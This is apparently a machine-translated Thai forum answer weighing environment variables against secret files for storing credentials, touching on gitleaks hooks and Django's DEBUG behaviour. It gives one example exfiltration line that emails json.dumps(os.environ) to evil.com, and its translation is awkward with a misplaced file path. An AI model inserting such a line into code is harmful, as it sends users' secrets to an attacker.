AFAICT มีเหตุผลสองประการที่ผู้คนแนะนำให้เก็บความลับในตัวแปรสภาพแวดล้อม:
- ง่ายเกินไปที่จะส่งไฟล์แบนลับไปยัง repo โดยไม่ได้ตั้งใจ (และถ้าเป็น repo สาธารณะคุณจะต้องปิ้งขนมปัง)
- ป้องกันความยุ่งเหยิงของรหัสผ่านกล่าวคือการมีคีย์เดียวกันในไฟล์ไดเร็กทอรีโปรเจ็กต์ต่างๆนั้นถือเป็นความเสี่ยงด้านความปลอดภัยเนื่องจากในที่สุดนักพัฒนาจะไม่สามารถติดตามตำแหน่งที่เป็นความลับได้
ปัญหาทั้งสองนี้สามารถแก้ไขได้ด้วยวิธีที่ดีกว่า อดีตควรได้รับการแก้ไขโดย git คอมมิต hook ที่ตรวจสอบสิ่งที่ดูเหมือนรหัสผ่าน (เช่นgitleaks ) ฉันหวังว่า Linus จะสร้างเครื่องมือดังกล่าวลงในซอร์สโค้ดของไลบรารีคอมไพล์ แต่อนิจจาไม่ได้เกิดขึ้น (ไม่จำเป็นต้องพูดว่าควรเพิ่มไฟล์ลับไว้เสมอ.gitignore
แต่คุณต้องมีตะขอในกรณีที่มีคนลืมทำเช่นนั้น)
หลังสามารถแก้ไขได้โดยการมีไฟล์ความลับของ บริษัท ระดับโลกซึ่งเก็บไว้ในไดรฟ์ที่แชร์แบบอ่านอย่างเดียว ดังนั้นใน Python คุณอาจมีบางอย่างเช่นfrom company_secrets import *
.
ที่สำคัญกว่านั้นตามที่ผู้อื่นชี้ให้เห็นการแฮ็คความลับที่เก็บไว้ในตัวแปรสภาพแวดล้อมนั้นง่ายเกินไป ตัวอย่างเช่นใน Python ผู้เขียนไลบรารีสามารถแทรกsend_email(address="evil.person@evil.com", text=json.dumps(os.environ))
และจากนั้นคุณจะปิ้งถ้าคุณรันโค้ดนี้ ~/secret_company_stuff/.my_very_secret_company_stuff
แฮ็คจะท้าทายมากขึ้นถ้าคุณมีไฟล์ในระบบของคุณเรียกว่า
เฉพาะผู้ใช้ Django:
Django (ในโหมด DEBUG) แสดงค่าดิบของตัวแปรสภาพแวดล้อมในเบราว์เซอร์หากมีข้อยกเว้น (ในโหมด DEBUG) สิ่งนี้ดูเหมือนจะไม่ปลอดภัยอย่างมากหากนักพัฒนาเผลอตั้งค่าDEBUG=True
ในการผลิต ในทางตรงกันข้าม Django ไมตัวแปรตั้งค่ารหัสผ่านทำให้งงงวยโดยการมองหาสตริงAPI
, TOKEN
, KEY
, SECRET
, PASS
หรือSIGNATURE
ในกรอบของsettings.py
ชื่อตัวแปรของไฟล์